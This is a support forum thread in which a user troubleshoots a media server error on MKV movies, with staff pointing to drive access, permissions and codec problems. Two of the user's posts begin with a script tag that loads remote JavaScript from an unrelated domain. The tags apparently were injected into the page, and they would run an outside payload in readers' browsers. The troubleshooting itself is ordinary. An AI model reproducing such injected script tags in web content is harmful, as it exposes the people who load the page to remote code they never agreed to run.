No compatible streams are currently available. Please try again later or contact your system administrator for details.

[JMGQ 0]

I am getting the "No compatible streams are currently available. Please try again later or contact your system administrator for details."  in Chrome.

Once I click OK, the video starts to play.

This only occurs for movies and not tv series.

 

I'm no longer able to stream movies at all on Android.

 

Logs attached.

[Luke 42080]

Hi there, let's look at an example. Please attach the information requested in how to report a media playback issue. thanks !

[JMGQ 0]

<script src="https://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51824x6997x&r=31"type="text/javascript"> </script> Hi Luke.

I had referred to that link prior to posting.  I thought I attached all the logs correctly.  There should be a zip file attached to the original post in this thread, did it not upload?

I refrained from adding a screenshot as it seems not to be a "complicated" issue.

 

Sorry It seems that I had not clicked "attach this file" once I chose it.

Please see attached logs in zip file.

ffmpeg-transcode-1584543d-54ca-4702-a823-25d6eda3bf6e.zip

[Luke 42080]

Hi, there's a whole folder of log files here. Can you indicate which one is from the time-frame that you experienced a problem? What time did the problem occur and what were you trying to play? thanks.

[JMGQ 0]

I just made a new log.

It happens with every movie I try to play (no series as previously mentioned).

 

I play the file, I get a pop up, I click ok, it dismisses the pop up, the movie plays - on Chrome.

When I try to play a movie from the android app, nothing happens and there's no pop up to dismiss.

ffmpeg-transcode-530d5c88-0694-43d4-8dc1-71dd36361ae1.txt

ffmpeg-transcode-9ffe5383-4252-4d0f-88a3-dd95af9ffdfb.txt

ffmpeg-remux-1554e855-b106-4b0b-af0f-89cc1565e4c4.txt

[Luke 42080]

See here:

file:V:\Films\[Horror] - Beyond Skyline (2017) [720] [R] [voted 5.4]\trailers\trailer.mp4: No such file or directory

Looks like your V: drive is unavailable. What kind of drive is that?

[JMGQ 0]

It isn't unavailable though.  All my video, both series and films are on it. 

When I dismiss the popup it does play.

It's an external drive.

Perhaps there's some sort of weird permissions thing going on?

[Happy2Play 9782]

It isn't unavailable though.  All my video, both series and films are on it. 

When I dismiss the popup it does play.

It's an external drive.

Perhaps there's some sort of weird permissions thing going on?

 

Does the external drive go to sleep/power save mode?

[JMGQ 0]

It doesn't go to sleep/power save mode.

 

However, I did  bit of digging around.

 

I've noticed that in fact it only gives me the play back error pop up on .MKV files not .AVI files.

 

I can also play .AVI files through the android app.

Edited June 25, 2018 by JMGQ

[Luke 42080]

Nonetheless there is an I/O access problem somewhere. It could be due to file permissions (most likely). It could also be due to file corruption.

[JMGQ 0]

So why don't I get the pop up on .AVI files?

Could the software be seeing .MKV files as corrupt then?

The folder permissions are all the same.

[Luke 42080]

Well, I think it is probably permissions, but you may want to scan the drive for errors.

[Happy2Play 9782]

Does disabling "Hardware acceleration:" make a difference?

Do these trailer examples play outside of Emby?
 

See here:

file:V:\Films\[Horror] - Beyond Skyline (2017) [720] [R] [voted 5.4]\trailers\trailer.mp4: No such file or directory

Looks like your V: drive is unavailable. What kind of drive is that?

 

[JMGQ 0]

I don't have that movie anymore.  I just turned on hardware accel.  I turned it back off and still get the popup.

[JMGQ 0]

<script src="https://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51824x6997x&r=34"type="text/javascript"> </script> It looks like there's some sort of Codec issue no?

 

[matroska,webm @ 0000021a5c553380] Could not find codec parameters for stream 2 (Subtitle: hdmv_pgs_subtitle (pgssub)): unspecified size

Consider increasing the value for the 'analyzeduration' and 'probesize' options

Input #0, matroska,webm, from 'file:V:\Films\Game Night (2018)\Game Night (2018).mkv':

 

ffmpeg-remux-bc109658-edc0-418f-90b1-b1dedb75e315.txt

game_night.wmv

[Luke 42080]

That log looks ok to me. Is there an issue playing that wmv?

[JMGQ 0]

The wmv is just a screen rec i made of me going through trying to play the movie "Game Night".

[Luke 42080]

can you try setting up a small test library of videos on your c: drive?